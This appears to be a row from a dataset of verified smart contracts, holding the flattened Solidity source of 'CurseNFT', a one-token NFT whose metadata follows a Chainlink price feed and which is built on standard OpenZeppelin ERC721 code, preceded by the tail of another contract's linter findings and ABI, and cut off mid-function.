"SOLIDITY_REVERT_REQUIRE", "line": 139, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 101, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 33, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 71, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 48, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 133, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 74, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 45, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 46, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 104, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 106, "severity": 1}] | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"},{"name":"_data","type":"bytes"}],"name":"transfer_erc165","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"}] | v0.4.19+commit.c4cbbb05 | true | 200 | Default | false | bzzr://7a30808a0272bd7d73b586901b59734de7f9f0b145d6b5393f5a8503d3888ece |
||||
CurseNFT | 0x58a5acfc6e3b86d72d7183b81c3f1c1bf4bce665 | Solidity | // Sources flattened with hardhat v2.6.1 https://hardhat.org
// File @openzeppelin/contracts/utils/introspection/[email protected]
// SPDX-License-Identifier: No License
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File @openzeppelin/contracts/utils/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts/utils/[email protected]
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File @openzeppelin/contracts/utils/[email protected]
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File @openzeppelin/contracts/utils/introspection/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping (uint256 => address) private _owners;
// Mapping owner address to token count
mapping (address => uint256) private _balances;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC721).interfaceId
|| interfaceId == type(IERC721Metadata).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: '';
}
/**
* @dev Base URI for computing {tokenURI}. Empty by default, can be overriden
* in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// File @chainlink/contracts/src/v0.8/interfaces/[email protected]
pragma solidity ^0.8.0;
interface AggregatorV3Interface {
function decimals()
external
view
returns (
uint8
);
function description()
external
view
returns (
string memory
);
function version()
external
view
returns (
uint256
);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(
uint80 _roundId
)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
// File @openzeppelin/contracts/access/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File contracts/CurseNFT.sol
pragma solidity 0.8.4;
interface KeeperCompatibleInterface {
function checkUpkeep(bytes calldata checkData)
external
returns (bool upkeepNeeded, bytes memory performData);
function performUpkeep(bytes calldata performData) external;
}
contract CurseNFT is ERC721, Ownable {
using Strings for uint256;
enum Status {
Up1, // 0
Up2, // 1
Up5, // 2
Down1, // 3
Down2, // 4
Down5, // 5
twentyThousand // 6
}
AggregatorV3Interface private priceFeed;
Status private _status; // used for token URI
string private _base;
int256 public latestPrice;
uint256 public latestDateChecked;
int16 public trend; // consecutive days price appreciated/depreciated (unchanged if price remains same)
constructor(string memory baseURI, address priceFeedOracle)
ERC721("Curse NFT", "CURSE")
{
_base = baseURI;
priceFeed = AggregatorV3Interface(priceFeedOracle);
_mint(msg.sender, 1);
(int256 price, uint256 timestamp) = _getLatestPrice();
latestPrice = price;
latestDateChecked = _getDateTimestamp(timestamp);
}
function setBaseUri(string memory baseURI) external onlyOwner {
_base = baseURI;
}
function setPriceFeedOracle(address priceFeedOracle) external onlyOwner {
priceFeed = AggregatorV3Interface(priceFeedOracle);
(int256 price, uint256 timestamp) = _getLatestPrice();
latestPrice = price;
latestDateChecked = _getDateTimestamp(timestamp);
}
// 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
require(tokenId == 1, "Only tokenId 1 exists");
return string(abi.encodePacked(_base, uint256(_status).toString()));
}
function _getLatestPrice() private view returns (int256, uint256) {
(
uint80 roundID,
int256 price,
uint256 startedAt,
uint256 timestamp,
uint80 answeredInRound
) = priceFeed.latestRoundData();
return (price, timestamp);
}
function _getDateTimestamp(uint256 timestamp)
private
pure
returns (uint256)
{
uint32 secondsInDay = 86_400;
